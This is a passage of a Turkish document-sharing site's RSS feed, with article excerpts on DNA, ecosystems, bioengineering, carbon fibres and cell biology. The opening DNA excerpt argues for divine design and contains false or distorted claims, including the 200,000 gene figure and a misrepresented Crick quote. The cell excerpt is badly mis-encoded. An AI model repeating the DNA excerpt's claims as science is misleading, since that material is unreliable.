uzaması veya sindirim enzimlerinin üretilmesi gibi. Bu moleküler işçilerin üzerinde &quot;düzenleyici&quot; genler bulunur, bunlar bu işçi genleri çalıştırır ve durdurur. Örneğin, çocukluk döneminde hemoglobin geninin çalışmasını durdurur. Hem işçilerin, hem de &quot;orta dereceli yöneticilerin&quot; üzerinde bir seri ana kontrol geni bulunur. Bunların kararları düzinelerce, hatta yüzlerce altbirimi etkiler. Bu genler o kadar hayatidir ki, embriyo döneminde zarar görmeleri ölümcül olabilir. &lt;br/&gt;Bu, üzerinde dikkatle düşünülmesi gereken bir bilgidir. Genler, atomlardan oluşan moleküllerdir. Peki bu moleküller, aralarında böylesine düzenli bir organizasyonu nasıl kurmuşlardır? Nasıl olup da, bir molekül bir insanın artık boyunun uzamasını durdurma kararı alır, bu kararını diğerine iletir, diğeri ise bu kararı nasıl anlayıp, itaat edip, uygulamaya koyar? Bu disiplinin kurucusu kimdir? Dahası, milyonlarca yıldır, trilyonlarca gen, aynı disiplin, itaat, akıl ve şuurla görevini eksiksiz yerine getirmektedir. &lt;br/&gt;Böyle bir sistemin tesadüfen oluştuğunu iddia etmek, çok büyük bir safsatadır. Genleri, en akılcı ve en kusursuz biçimde programlayan şüphesiz, herşeyin Rabbi olan Allahtır. &lt;br/&gt; &lt;br/&gt;TESADÜFLERLE AÇIKLANAMAYAN DNA&lt;br/&gt;Matematik bugün DNAda yazılı bilgilerin oluşumunda tesadüfe yer olmadığını kanıtlamıştır. Değil milyonlarca basamaktan oluşan DNA molekülünün, DNAyı oluşturan 200.000 genden tek bir tanesinin bile tesadüfen oluşabilme ihtimali imkansız tanımının dahi zayıf kaldığı bir durumdur. Evrimci bir biyolog olan Frank B. Salisbury bu imkansızlıkla ilgili olarak şunları söylemiştir:&lt;br/&gt;Orta büyüklükteki bir protein molekülü, yaklaşık 300 amino asit içerir. Bunu kontrol eden DNA zincirinde ise, yaklaşık 1000 nükleotid bulunacaktır. Bir DNA zincirinde dört çeşit nükleotid bulunduğu hatırlanırsa, 1000 nükleotidlik bir dizi, 4 üzeri 1000 farklı şekilde olabilecektir. Küçük bir logaritma hesabıyla bulunan bu rakam ise, aklın kavrama sınırının çok ötesindedir.3&lt;br/&gt; &lt;br/&gt;Francis Crick ve James Watson DNA&quot;daki ihtişamlı yapıyı keşfederek Nobel Ödülü aldılar.&lt;br/&gt;&lt;br/&gt;Yani ortamda bütün gerekli nükleotidlerin bulunduğunu, bunların aralarında bağlanması için gereken bütün kompleks moleküllerin ve bağlayıcı enzimlerin hepsinin hazır olduğunu farzetsek bile bu nükleotidlerin istenen sırada dizilmesi ihtimali 4 üzeri 1000de 1, diğer bir ifadeyle, 10 üzeri 600de 1 ihtimal demektir. Kısaca insan vücudundaki ortalama bir proteinin DNAdaki şifresinin şans eseri, kendi kendine oluşma ihtimali, 10un yanında 600 tane sıfır olan sayıda 1dir. Bu astronomik olmanın da ötesindeki sayı ise, pratik olarak &quot;0&quot; ihtimal anlamına gelir. Demek ki böyle bir dizilim ancak akıllı ve şuurlu bir gücün bilgi ve kontrolü altında gerçekleşmek zorundadır.&lt;br/&gt;Şu anda okumakta olduğunuz yazıyı düşünün. Harflerin (her harf için farklı bir baskı kalıbı kullanılarak) kendi kendilerine ve rastgele biraraya gelerek böyle bir yazı oluşturduklarını iddia eden birisine ne gözle bakardınız? Bu yazı belli ki akıl ve bilinç sahibi birisi tarafından kaleme alınmıştır. İşte DNAdaki durum da bundan hiç farklı değildir.&lt;br/&gt;DNAnın yapısını keşfeden biyokimyacı Francis Crick, konu üzerinde yaptığı çalışmalardan dolayı Nobel ödülü aldı. Crick koyu bir evrimci olmasına rağmen DNAnın mucizevi yapısına şahit olduktan sonra yazdığı eserinde bu bilimsel gerçeği şöyle ifade etmiştir: &quot;Bugün sahip olduğumuz bilgiler ışığında, dürüst bir adamın yapabileceği tek yorum, hayatın bir mucize eseri olarak ortaya çıktığıdır.&quot;4 Cricke göre hayat kesinlikle dünya üzerinde kendiliğinden var olamazdı. Görüldüğü gibi DNA üzerinde en uzman kişi bile, bir evrimci olmasına rağmen, yaratılışta tesadüfe yer vermemektedir. &lt;br/&gt; &lt;br/&gt;İnsanda hücrelerindeki 46 kromozom 23 çift halinde bulunur. Her çift kromozom vücuttaki belirli faaliyetlerin yerine getirmesinden sorumludur. Bu kromozom çiftlerindeki herhangi bir bozukluk onarılmaz hasarlar meydana getirir.&lt;br/&gt;&lt;br/&gt;DNAda yer alan bilgilerin ne kadar hassas bir düzen ve dengeye sahip oldukları gözönünde bulundurulduğunda ise, tesadüfen oluşumun ne kadar imkansız olduğu daha da iyi anlaşılır. Üç milyar harften oluşan DNAdaki bilgiler, A-T-G-C harflerinin</description></item><item><title>ATOM</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?atom-344088.html</link><description>EKOSİSTEM&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;TANIMLAR: Ekoloji, bugün çok sayıda bilim dalının çekirdeğini oluşturmaktadır. Çevre şartları içinde tek bir canlının incelenmesine &quot;otekoloji&quot;, farklı canlı türlerinin oluşturduğu toplulukların incelenmesine &quot;sinekoloji &quot; denmektedir.&lt;br/&gt;&lt;br/&gt;1935 yılından itibaren, bir bölgede bulunan bütün canlılar ve bunların cansız çevrelerini ifade etmek için &quot;Ekosistem&quot; kelimesi kullanılmaya başlanmıştır. Çevre ve sistem kelimelerinin birleştirilmesiyle oluşturulan ekosistem kelimesinin açık bir ifadesi olarak yer küreden bahsetmek gerekir. Gerçekte yer küre en büyük bir ekosistemi oluşturmaktadır. Ekosistem içinde daha küçük boyutlu ekosistemlerde bulunmaktadır. Orman, dağ, ova, çayır, hububat, doğal hayvanların her biri ayrı ayrı ekosistemi oluşturmaktadır. &lt;br/&gt;&lt;br/&gt;Ekosistemi oluşturan öğeler, başlıca dört gurupta toplanır.&lt;br/&gt; &lt;br/&gt;1-Cansız  varlıklar. (inorganik ve organik maddeler)&lt;br/&gt;2-Primer üreticiler. (yeşil bitkiler)&lt;br/&gt;3-Tüketiciler (bitkisel ve hayvansal maddeleri yiyenler)&lt;br/&gt;4-Ayrıştıcılar (bakteri ve mantarlar)&lt;br/&gt;&lt;br/&gt;Ekosistem içindeki doğal dengeye &quot;ekosistem dengesi&quot; denir. Doğal denge bozulduğunda, ekosistem dengesi bozulur ve ekolojik sorunlar ortaya çıkar. Mevcut ekosistemin bozulup ortadan kalkması ve daha sonra bozulan bu ekosistemin yerine yeni bir ekosistemin olması olayına sükseyon (yerine alma) denir. Yer küre içinde en fazla ekosistem dengesini bozan en etkili canlı, şüpesiz ki insandır. İnsan nüfusu ve faaliyetleri arttıkça ekosistem dengesi bozulmaktadır. İnsanlar dışında bitkiler veya hayvanlarda ekosistem dengesini bozabilirler.  Tarım bölgesinde kuş türlerinin aşırı çoğalması, hububat üretimini olumsuz etkiler. Yine kuş türlerinin aşırı oranda azalması da, kuşlarla beslenen zararlı böceklerin çoğalmasına yol açar. Ancak, tüm bu gelişmelerde insanın katkısı çok büyüktür. Gerçekte insanın olmadığı doğal bir ortamda, ekosistem dengesi pek fazla bozulmaz.&lt;br/&gt;    &lt;br/&gt;Hücrenin, organizmaların temel  öğesi olmak gibi, ekosistemlerde doğal ortamın birimlerini oluşturur. Her ekosistem, biyosenoz adı verilen bir canlılar topluluğundan oluşur; bunlar, çevrenin ve bu çevrede hüküm süren koşulların nispi homojenliğiyle belirgin,  biyotop  adı  verilen  bir alanda  yaşar. Bir biyosenoz içinde üç büyük kategori &lt;br/&gt;&lt;br/&gt;../..&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;-2-&lt;br/&gt;&lt;br/&gt;söz konusudur. Önce besin zincirinin temelini oluşturan birincil üreticiler (klorofilli yeşil bitkiler); sonra birinci basamaktan (otçul hayvanlar), ve ikinci basamaktan tüketiciler (etçil hayvanlar),ve nihayet minareleştiriciler (bakteriler, mantarlar) Ekosistemin çalışması bir madde ve besin zincirleri (beslenme zincirleri de denir.) arasından, sürekli enerji akışıyla kendini belli eder.&lt;br/&gt;&lt;br/&gt;Ekosistemler bir çok düzeye göre ele alınabilir. Biyomlar büyük biyocografi bölgelere (tropikal orman, tudra, savan vb) tekabül eder. Bir alt düzeyde, ekosistemler manzaranın bir takım parsellerinin (bir buğday tarlası, bir ormanlık kesim vb) temsil eder. Daha da alt bir düzeyde, mikroekosistemler (bir kıyı kayalığı, bir kara yosun topluluğu vb.) gelir.&lt;br/&gt;&lt;br/&gt;Ekolojinin temel ve aynı zamanda tanımlanması en zor kavramlarından  biri, bir türün ekolojik ortamı kavramıdır; bu, söz konusu olan türün fizyolojik ihtiyaçlarına, yaşam biçimine ve uyum sağlama niteliklerin bağlı çeşitli parametrelerle belirlenir.  Böylece ekolojik ortam, basit bir barınak kavramının ötesinde, türün ekosistemdeki rolünü yerini belirler.&lt;br/&gt;&lt;br/&gt;EKOSİSTEMLERİN BOYUTLARI&lt;br/&gt;&lt;br/&gt;Gezegen ölçeğinde, yerkürenin bütün canlı varlıkları içeren dış katmanı olan biyosfer, en yüksek tümleşme düzeyini temsil eder. Bir ilk bölgesel ayırım biyomları betimlenmeye imkan verir. Bunlar, gerçek karasal makro ekosistemler diyebileceğimiz biyocografi ve iklimsel bölgelere denk düşer. (Tudra, tayga, ılıman iklim ormanı, sıcak çöller, savan tropikal orman vb)   &lt;br/&gt;&lt;br/&gt;Daha küçük bölümlere ayırma, daha ölçülü boydaki ekosistemleri belirler. Bir takım basit fizyonomik ölçütler, her biri bir ekosistem oluşturuyormuşçasına, herhangi bir arazinin, bir bataklığın, bir ormanın veya bir çayırın sezgisel ol</description></item><item><title>DNANIN FİZİKSEL YAPISI</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?dnanin-fiziksel-yapisi-350898.html</link><description>DNA&quot;NIN FİZİKSEL YAPISI   &lt;br/&gt;                                                                       &lt;br/&gt;DNA&quot;nın  monomerik bileşenleri A, T, C, G bazlarını içeren dört tane deoksiribonükleotiddir. Bu 4 ana bazın dışında bazı DNA&quot;larda değişikliğe uğramış birkaç farklı baz da bulunabilir. Bunlar; metillenmiş bazlar, sülfür içeren bazlar ve anormal bir baz - şeker bağı oluşturan bazlardır. Bunlar DNA&quot;da kimyasal değişikliğe neden olabilir. DNA&quot;da metil grubunun eklenmesi en yoğun şekilde sitozinlerde meydana gelir. Sitozinin 5Â´ numaralı karbonuna bir metil grubunun bağlanmasıyla 5 - metilsitozin meydana gelir. 5 - metilsitozin özellikle buğday tohumu DNA&quot;sında bol miktarda bulunur (tablo - 1). Bununla birlikte T2, T4 ve T6 fajlarında 5 - hidroksi - metilsitozin tamamen sitozinin yerini almış durumdadır. Ayrıca ilginç bir örnekte PBS 1 bakteriyofajında görülür. Bilindiği gibi urasil bazı sadece RNA molekülünde bulunur. Fakat bu bakteriyofajda timin bazlarının yerini urasil bazları almıştır.&lt;br/&gt;Adenin ve guanin bazları çift halkalı yapıdadır. Bu iki baza pürin bazları denir. Sitozin ve timin bazları ise tek halkalı yapıdadır. Bunlara ise pirimidin bazları denir. Dolayısıyla adenin ve guanin bazlarının moleküler ağırlıkları (A=135.13 dalton, G=151.13 dalton), sitozin ve timin bazlarının moleküler ağırlıklarından (C=111.10 dalton, T=126.12) daha fazladır. Eğer bir DNA molekülünde iki iplikçikten hangisi A ve G ce zengin ise bu zincire ağır zincir diğerine ise hafif zincir denir.&lt;br/&gt;Gerek pürin gerekse pirimidin bazları birkaç tane çift bağ içerirler. Çift bağlar her zaman tek bağlara göre daha kararsız olduklarından, çifte bağ taşıyan moleküller, H atomlarının belli bir serbestliğe sahip olabilmesi için, farklı kimyasal biçimlerde bulunabilme özelliğine yeteneğine sahiptir. Bir H atomu bir N halkasından veya O atomundan bir diğerine hareket edebilir. Örneğin bir amino  (NH2) grubundan ayrılarak bir imino (NH) grubu oluşumuna yol açabilir. Böyle kimyasal dalgalanmalara tautomerik değişim ve bu şekilde meydana gelen farklı moleküler yapılara da tautomer adı verilir. Fizyolojik koşullarda, pürin ve pirimidin halkalarına N atomları genellikle amino (NH2) biçiminde, guanin ve timinin C atomlarına bağlı O atomlarda genellikle keto (CO) biçimindedir. Bazların genelde belli taumerik biçimlerde bulunması genetik materyalin kararlılığı açısından önemlidir.&lt;br/&gt;&lt;br/&gt;Bazların Molar Oranları:&lt;br/&gt;Bazların molar oranları hidroliziz ve kromatografi yöntemleri ile belirlenebilir. Farklı türler arasında baz oranları büyük değişiklikler göstermesine rağmen, aynı türün farklı organ ve dokuları arasında benzer oranlara rastlanmaktadır (tablo - 1).&lt;br/&gt;&lt;br/&gt;DNA kaynağıAGCT5-metil - C&lt;br/&gt;Boğa timusu28.221.521.227.81.3&lt;br/&gt;Boğa dalağı27.922.720.827.31.3&lt;br/&gt;Boğa spermi28.722.220.727.21.3&lt;br/&gt;Sıçan kemik iliği28.621.420.428.41.1&lt;br/&gt;Buğday tohumu27.322.716.827.16.0&lt;br/&gt;Maya31.318.717.132.9-&lt;br/&gt;E. coli 26.024.925.223.9-&lt;br/&gt;M. tuberculosis15.134.935.414.6-&lt;br/&gt;Ã˜X 17424.324.518.232.3-&lt;br/&gt;&lt;br/&gt;Tablo 1 : Çeşitli kaynaklardan elde edilen DNA&quot;lardaki baz oranları.&lt;br/&gt;&lt;br/&gt;Bir DNA molekülünde pürinlerin toplamı pirimidinlerin toplamına eşit olduğu gibi amino bazların toplamı da (A ve C) keto (okso) bazların (G ve T) toplamına eşittir. A ve T eşit molar miktarda bulunur. Dolayısıyla G ve C de eşit molar miktarda bulunur. Bu eşitlikler DNA heliksinin formasyonu hakkında en önemli verilerdendir ve bu Chargaff&quot;ın kuralı olarak ifade edilir. Bu kanunu A + G / T +C = 1 şeklinde de ifade edilir. Bununla birlikte G + C / A + T 1&quot;e eşit değildir. Bu oran çeşitli türlerde ölçülmüş ve değerlerin 0.45 ile 2.80 arasında değiştiği gösterilmiştir. Örneğin birçok bakteriyofajda bu oran 0.5 dir. Yüksek bitkilerde ve hayvanlarda bu oranın değişim sınırları daha dardır ve genel olarak 0.55 - 0.93 arasında bulunur. &lt;br/&gt;Chargaff  kuralının iki önemli istisnası vardır. Birincisi buğday tohumu DNA&quot;sında G ve C eşit miktarda değildir. Çünkü buğday tohumunda bol miktarda bulunan 5 - metilsitozin birçok sitozinin yerini</description></item><item><title>BİYOMÜHENDİSLİK</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?biyomuhendislik-380603.html</link><description>Biyomühendislik&lt;br/&gt;Mühendislik, genel anlamı ile matematik, fizik ve kimyanın temel ilkelerini kullanarak; bazı sistemlerin geliştirilmesi ve hizmetler verilmesi yolu ile, toplumun yaşam kalitesini yükseltmek için yapılan çalışmaların tümüdür. &lt;br/&gt;Biyoteknoloji ise son yıllarda gündemi yoğun bir şekilde işgal eden bir terimdir. Her ne kadar ekmek, bira, şarap, peynir gibi yaygın klasik üretimlerde yüzyıllardır bu tip sistemler uygulansa da, modern anlamı ile biyoteknoloji yaklaşık 50 yıllık bir geçmişe sahiptir ve son yıllarda dev adımlarla büyük ilerlemeler kaydetmektedir. &lt;br/&gt;Bu bağlamda Biyomühendislik, mühendislik prensiplerinin biyolojiyi de içerecek şekilde uygulandığı sistemlerin dayandığı bilim dalıdır. &lt;br/&gt;Türkiyede Biyomühendislik Bölümü ilk defa , mühendislik fakülteleri içinde Ege Üniversitesi Mühendislik Fakültesi bünyesinde kurulmuştur. Mühendislik fakülteleri içersinde halen tektir.&lt;br/&gt;1.1 Biyomühendisliğin Tanımı &lt;br/&gt;Biyomühendislik, son otuz beş yıl içinde, moleküler biyoloji, biyokimya, mikrobiyoloji, hücre metabolizması ile, temel mühendislik ve malzeme bilimlerindeki hızlı ilerlemeler sonucu gelişen biyolojik teknikler ile mühendislik ilkelerinin canlı sistemlere ve bunlarda karşılaşılan sorunlara uygulandığı yeni bir bilim dalı ortaya çıkmıştır. &lt;br/&gt;Bu bilim dalı; kütle ve ısı aktarımı, kinetik, biyokataliz, biyomekanik, ayırma ve saflaştırma teknikleri, biyoreaktör tasarımı, yüzey bilimi, akışkanlar mekaniği, termodinamik ve polimer kimyası gibi mühendisliğin temel ve uygulamalı birçok dalının yanısıra; genetik, moleküler biyoloji,protein kimyası, metabolizma, hücre fizyolojisi ve biyokimyası, sitoloji, biyoelektrik, nörobiyoloji, immunoloji, farmakoloji gibi temel ve uygulamalı bilimlerdeki araştırma ve bilgi birikimleri arasında bir köprü oluşturarak, günümüz toplumunun farklı boyut ve sektörlerdeki sorunlarına özgün çözümler üretmeyi amaçlamaktadır.&lt;br/&gt; &lt;br/&gt; &lt;br/&gt;Günümüz dünyasında, Biyomühendislik bilim dalındaki ilerlemeler sayesinde gelişen tekniklere biyoteknoloji, endüstrilere ise biyoteknolojik endüstriler adı verilmektedir. Bugün, biyoteknolojik yöntemler ve bunların kullanıldığı sanayilerde çeşitli gıda maddeleri, içecekler, enerji kaynakları (hidrojen, etanol, biyogaz), ilaçlar (antibiyotikler, vitaminler, hormonlar) ve biyokimyasal maddeler (protein ve amino asitler, enzimler, organik asit ve çözgenler, pestisitler ve çeşitli polimerler) biyolojik sistemlere uyumlu malzemeler elde edilebilmekte ve madencilik, su arıtılması, endüstriyel ve kentsel atıkların işlenmesi gibi hizmetler gerçekleştirilebilmektedir.&lt;br/&gt;Bunların yanısıra, genetik materyale müdahale ile, proteinlerin yapısını değiştirip, doğal sistemlerin fonksiyonlarını etkileme ve yönlendirme, arzu edilen özelliklere sahip bitki, hayvan ve mikroorganizmalar geliştirme, insanlardaki genetik hastalıkların tanı ve tedavisinde etkili olabilme şansına da sahibiz. &lt;br/&gt; &lt;br/&gt;1.2 Dünyadaki Durumu&lt;br/&gt;Ayrıca, bu yeni yaklaşımlar ve modern tekniklerin geliştirilmesi ile oluşan bilgi birikimi sayesinde, geleneksel biyoteknolojik endüstrilere dahi yeni bir ufuk açılmakta, gerek kalite ve gerekse verim yönünden büyük imkanlar sağlanmaktadır.&lt;br/&gt;Nitekim, Avrupa Komisyonunun 1991de kabul ettiği öncelikler arasında, Biyoteknolojiler, topluluğun gelecekte gelişmesi için gerekli anahtar teknolojiler olarak belirtilmiştir. Halen birçok Avrupa ülkesi Biyoteknolojik sanayilerde ilerlemeyi hedefliyorsa da, bugüne dek sağlıklı bir araştırma altyapısı ve buna paralel olarak, temel araştırmaları ticari ürünlere dönüştürebilecek bir endüstriyel kapasite, oluşturamamış ülkelerin yakın gelecekte diğerleri ile ciddi bir ticarete girebilmeleri söz konusu olmayacaktır. &lt;br/&gt;Avrupa Komisyonu, Biyomühendislik dalındaki araştırma projelerini 1994-1998 döneminde yaklaşık 5 milyon ECU ile destekleme kararı alırken ABD Federal Hükümeti desteği, sadece 1993 yılı için 5 milyar dolar civarındadır. Ulusal projeler ve eyalet destekleri ile sanayi katkıları ise bu rakamların dışındadır.&lt;br/&gt;Tüm bunlardan anlaşılabileceği gibi, Biyomühendislik, 21. yüzyılda her alanda kullanacağımız araç ve gereçleri içeren bir &quot;alet kutusu&quot;, bir teknikler manzumesi olacak bu jenerik teknolojinin bilimsel temelini oluşturmaktadır. Gelecek yüzyılda da bu alandaki tüm ilerlemeler, Biyomühendislik Bilim Dalının şemsiyesi altında gerçekleşecektir. Yetişmiş insan gücü günümüzde halen ekonomik rekabetin temel öğesi halindedir. O nedenle insana yatırım, diğer bir deyişle şimdiki ve gelecek nesillerin eğitim-öğretimine önem v</description></item><item><title>KARBON LİFLERİNİN TEKNİK DURUMLARI, GELECEKLERİ VE POLİMER MATRİKSLİ KOMPOZİTLERDE (CFRPS) KULLANIMLARI</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?karbon-liflerinin-teknik-durumlari,-gelecekleri-ve-polimer-matriksli-kompozitlerde-(cfrps)-kullanimlari-364807.html</link><description>KARBON LİFLERİNİN TEKNİK DURUMLARI, GELECEKLERİ VE POLİMER MATRİKSLİ KOMPOZİTLERDE (CFRPs) KULLANIMLARI&lt;br/&gt;&lt;br/&gt;Karbon liflerinin ve üretildikleri malzemelerin yapılarının  anlaşılması, günümüzün ticari karbon liflerinin özelliklerinin anlaşılmasını sağlayacaktır. Burada, gelecekte karbon liflerinin nekadar geliştirilebilecekleri sorusu, yeni nesil PAN esaslı karbon liflerinden yola çıkılarak kuramsal olarak incelenmiştir. Ayrıca da, geleceği parlak bu malzeme grubunun hatalı adlandırılmaları sorunu ele alınmıştır.Bundan sonra günümüz teknolojisi, dünyadaki talep ve fiyat durumları üzerine genel bir bakışı içeren ekonomik irdelemeler yapılmıştır. En son olarak da, karbon liflerinin havacılık ve uzay, taşımacılık, spor, makina ve cihazlar, tıp gibi alanlardaki uygulamaları ve krayojenik teknoloji ile işlenmesi özet olarak verilmiştir.&lt;br/&gt;&lt;br/&gt;İÇİNDEKİLER&lt;br/&gt;&lt;br/&gt;1        Karbon Liflerinin Ve Üretildikleri Malzemelerin Doğası&lt;br/&gt;1.1     Yüksek Mekanik Özelliklerin Kökeni&lt;br/&gt;1.2     Karbon Lif Çeşitlerinin Tanımlanması&lt;br/&gt;1.2.1  Oryantasyonun Etkisi&lt;br/&gt;1.2.2  Karbon Liflerinde Kristal Kafes Hataları&lt;br/&gt;1.3     Yüksek Kalite Karbon Liflerinin Üretilebilirlikleri&lt;br/&gt; 2       Günümüz Ticari Karbon Liflerinin Özellikleri Ve Bu Özelliklerin Geliştirilmesinin &lt;br/&gt;          İrdelenmesi                               &lt;br/&gt;2.1Karbon Liflerinin Karakterizasyonu Ve Adlandırılması&lt;br/&gt;2.2Günümüz Karbon Liflerinin Mekanik Özellikleri&lt;br/&gt;2.3Gelecekte Beklenebilecek Mekanik Özellikler Üzerine İrdelemeler&lt;br/&gt;2.3.1Mekanik Özelliklerin Kuramsal  Maksimum Değerleri&lt;br/&gt;2.3.2Test Yöntemlerinin Etkisi&lt;br/&gt;2.3.3Yeni Nesil PAN Esaslı lht (Düşük Sıcaklıkta İşlenmiş) ve iht (Ortadüzey Sıcaklıkta İşlenmiş) Karbon Lifleri &lt;br/&gt;2.3.4Karbon Lif Takviyeli Kompozit Malzemelerin Darbe Davranışları&lt;br/&gt;3Ekonomik İrdelemeler,&lt;br/&gt;3.1Günümüz Teknolojisi&lt;br/&gt;3.2Multifilament Tow Biçimindeki Karbon Lifleri&lt;br/&gt;3.3Karbon Liflerinin Üretim Kapasitesi, Dünyadaki Tüketimi Ve Fiyatların Zaman İçindeki Değişimi&lt;br/&gt;4Karbon Liflerinin Çeşitli Uygulama Alanları&lt;br/&gt;4.1Uzay Ve Havacılık&lt;br/&gt;4.2Taşımacılık&lt;br/&gt;4.3Spor Eşyaları&lt;br/&gt;4.4Makina Ve Cihazlar&lt;br/&gt;4.5Krayojenik Uygulamalar&lt;br/&gt;4Tıptaki Kullanımları&lt;br/&gt;5Sonuçlar&lt;br/&gt;6Referanslar&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;1.Karbon Liflerinin Ve Üretildikleri Malzemelerin Doğası&lt;br/&gt;&lt;br/&gt;Karbon Lifleri insan saçından daha incedirler (Şkl 1) .Çapları 6-10 &amp;#956;m arasında değişir. Karbon lifleri ayrıca, yaklaşık olarak insan saçının çapına eşit incelikteki bor lifleri ile &quot;İleri Kompozitler&quot; adı verilen malzemelerde takviye elemanı olarak kullanılan diğer yüksek modüllü liflerden daha incedirler. Karbon lifleriyle yaklaşık eşit çapa sahip olan cam ve poliaramid lifleri, kesikli lif, iplik, rowing veya kumaş gibi biçimlerde karbon lifleriyle beraber hibrid takviyelendirici olarak kullanılırlar.&lt;br/&gt;Karbon lifleri kimyasal olarak %99,9 oranında saf karbondan oluşurlar. Bu lifler ne kimyasal bileşik ne de konvansiyonel (Alışılagelmiş) yapısal malzemelerden olan çelik ve alüminyum gibi alaşımdır.&lt;br/&gt;Bazen hatalı bir şekilde &quot;Grafit Lifleri&quot; olarak adlandırılan bu siyah, ince, yapay lifler, malzeme dünyasında bir devrimin tohumlarını atmışlardır. Popüler dergiler bile bu lifleri  &quot;Mucize Malzemeler&quot; olarak tanımlamıştır[1,2]. İleri Kompozitler %60&quot;tan fazla hacimsel oranda karbon lifleri içerirler. Eğer, İleri Kompozitler, cam lif takviyeli kompozitler ile karşılaştırılırılırsa, eşit mukavemet değerleri için ileri kompozitlerin çok daha yüksek katılık ve oldukça düşük ağırlığa sahip olduğu görülecektir. Böylece de polimerik malzemeler, yapısal uygulamalarda metallerle rekabet edebilir duruma gelmiştir. Anlatılan bu durum şekil 2&quot;de görülmektedir [3,4,5]. Buna göre İleri Kompozitler neredeyse sıfır düzeyinde ısıl genleşme ve çok yüksek yorulma ile korozyon (Yenim) dayanımları göstermektedir.&lt;br/&gt;&lt;br/&gt;                                                                   &lt;br/&gt;&lt;br/&gt;&lt;br/&gt;Şekil 4&quot;te polimer matriks kompozitlerin takviyelendirilmesinde kullanılan liflerin, temel kullanım nedenleri olan anahtar özellikler (Çeki dayanımı ve Young modülü) gösterimlenmiştir. Burada E, R ve S tipi olmak</description></item><item><title>HÜCRE</title><pubDate>9/7/2010</pubDate><link>http://www.veribaz.com/viewdoc.html?hucre-343454.html</link><description>HÜCRELERIN YAPISI:&lt;br/&gt;     Hücre;canl&amp;yacute;lar&amp;yacute;n yap&amp;yacute;s&amp;yacute;n&amp;yacute; olu&amp;thorn;turan en küçük canl&amp;yacute; birimdir.Baz&amp;yacute;canl&amp;yacute;lar tek bir hücre yap&amp;yacute;s&amp;yacute;ndad&amp;yacute;rlar(bakteriler ve tek hücreliler).Di&amp;eth;er bütün canl&amp;yacute;lar çok hücrelidirler.Canl&amp;yacute;lardaki hücreler çekirdek yap&amp;yacute;lar&amp;yacute; bak&amp;yacute;m&amp;yacute;ndan ikiye ayr&amp;yacute;l&amp;yacute;rlar.&lt;br/&gt;     Prokaryot hücreler;çek&amp;yacute;rdek zar&amp;yacute;n&amp;yacute;n olmad&amp;yacute;&amp;eth;&amp;yacute; hücrelerdir.Ayr&amp;yacute;ca bu hücrelerde zarla çevrili organellerde bulunmaz.&lt;br/&gt;Ökaryot hücreler;gerçek hücreler olup çekirdek ve diger organeller&amp;yacute; zar &amp;yacute;le çevr&amp;yacute;l&amp;yacute;d&amp;yacute;r.Bu tür hücreler zar,stoplazma ve çekirdek olmak üzere üç k&amp;yacute;s&amp;yacute;mda incelen&amp;yacute;rler.&lt;br/&gt;        A.HÜCRE ZARI:&lt;br/&gt;    Hücre zar&amp;yacute; hücrey&amp;yacute; d&amp;yacute;&amp;thorn; ortamlardan ay&amp;yacute;ran da&amp;eth;&amp;yacute;lmas&amp;yacute;n&amp;yacute; önleyen,ona &amp;thorn;ek&amp;yacute;l veren ve onu d&amp;yacute;&amp;thorn; etk&amp;yacute;lerden korumaya çal&amp;yacute;&amp;thorn;an canl&amp;yacute;,esnek,çok ince ve yar&amp;yacute; saydam bir zard&amp;yacute;r.Esas yap&amp;yacute; maddes&amp;yacute; prote&amp;yacute;n ve ya&amp;eth;d&amp;yacute;r.En önemli özelli&amp;eth;i seçici geç&amp;yacute;rgen olmas&amp;yacute;,en onemli görevei ise hücrede madde giri&amp;thorn; ç&amp;yacute;k&amp;yacute;&amp;thorn;&amp;yacute;n&amp;yacute; kontrol etmes&amp;yacute;d&amp;yacute;r.&lt;br/&gt;        Zar&amp;yacute;n yap&amp;yacute;s&amp;yacute;:&lt;br/&gt;    Hücre zar&amp;yacute; yakla&amp;thorn;&amp;yacute;k olarak %60 prote&amp;yacute;n,%35 ya&amp;eth; ve %5 oran&amp;yacute;nda karbon hidrat içerir.Bu moleküller&amp;yacute;n nas&amp;yacute;l bir düzende yerle&amp;thorn;tirildi&amp;eth;in&amp;yacute; en iyi aç&amp;yacute;klayan görü&amp;thorn; ak&amp;yacute;c&amp;yacute; mazaik zar modelidir.Daha eski görü&amp;thorn; olan birim zar modelicans&amp;yacute;z bir zar özelli&amp;eth;i ta&amp;thorn;&amp;yacute;makta olup aktif ta&amp;thorn;&amp;yacute;may&amp;yacute; izah edememektedir.&lt;br/&gt;    B.STOPLAZMA:&lt;br/&gt;Hücre zar&amp;yacute; ile çekirdek zar&amp;yacute; aras&amp;yacute;n&amp;yacute; dolduran,organeller ve plazmalardan meydana gelmi&amp;thorn; bir kar&amp;yacute;&amp;thorn;&amp;yacute;md&amp;yacute;r.Organeller ve plazma olmak üzere iki k&amp;yacute;s&amp;yacute;mda incelenir. &lt;br/&gt;      1.Hücre organelleri&lt;br/&gt;Çok hücreli ve geli&amp;thorn;mi&amp;thorn; yap&amp;yacute;l&amp;yacute; canl&amp;yacute;larda organ ve sistemlerle gerçekle&amp;thorn;tirilen hayatsal olaylar tek hücreli canl&amp;yacute;larda ve çok hücrel&amp;yacute;ler&amp;yacute;n her bir hücres&amp;yacute;nde organel den&amp;yacute;len hücre içi yap&amp;yacute;lar&amp;yacute;yla gerçekle&amp;thorn;tirilir.&lt;br/&gt;Her hücrenin kendi ba&amp;thorn;&amp;yacute;na canl&amp;yacute;l&amp;yacute;k gösterebilmesi için organelleri olmas&amp;yacute; gerekir.Sentrozom ve r&amp;yacute;bozom d&amp;yacute;&amp;thorn;&amp;yacute;ndak&amp;yacute; organeller hücre zar&amp;yacute;na benzeyen bir zarla çevr&amp;yacute;l&amp;yacute;d&amp;yacute;rler. &lt;br/&gt;     a.Endoplazmik retikulum(E.R):Hücre zar&amp;yacute;ndan çekirdek zar&amp;yacute;na kadar uzanan,hücrey&amp;yacute; a&amp;eth; gibi örmü&amp;thorn;,hücre içi kanallar sistemidir.ER ler hücre içine ve d&amp;yacute;&amp;thorn;&amp;yacute;na madde ta&amp;thorn;&amp;yacute;nmas&amp;yacute;nda ve 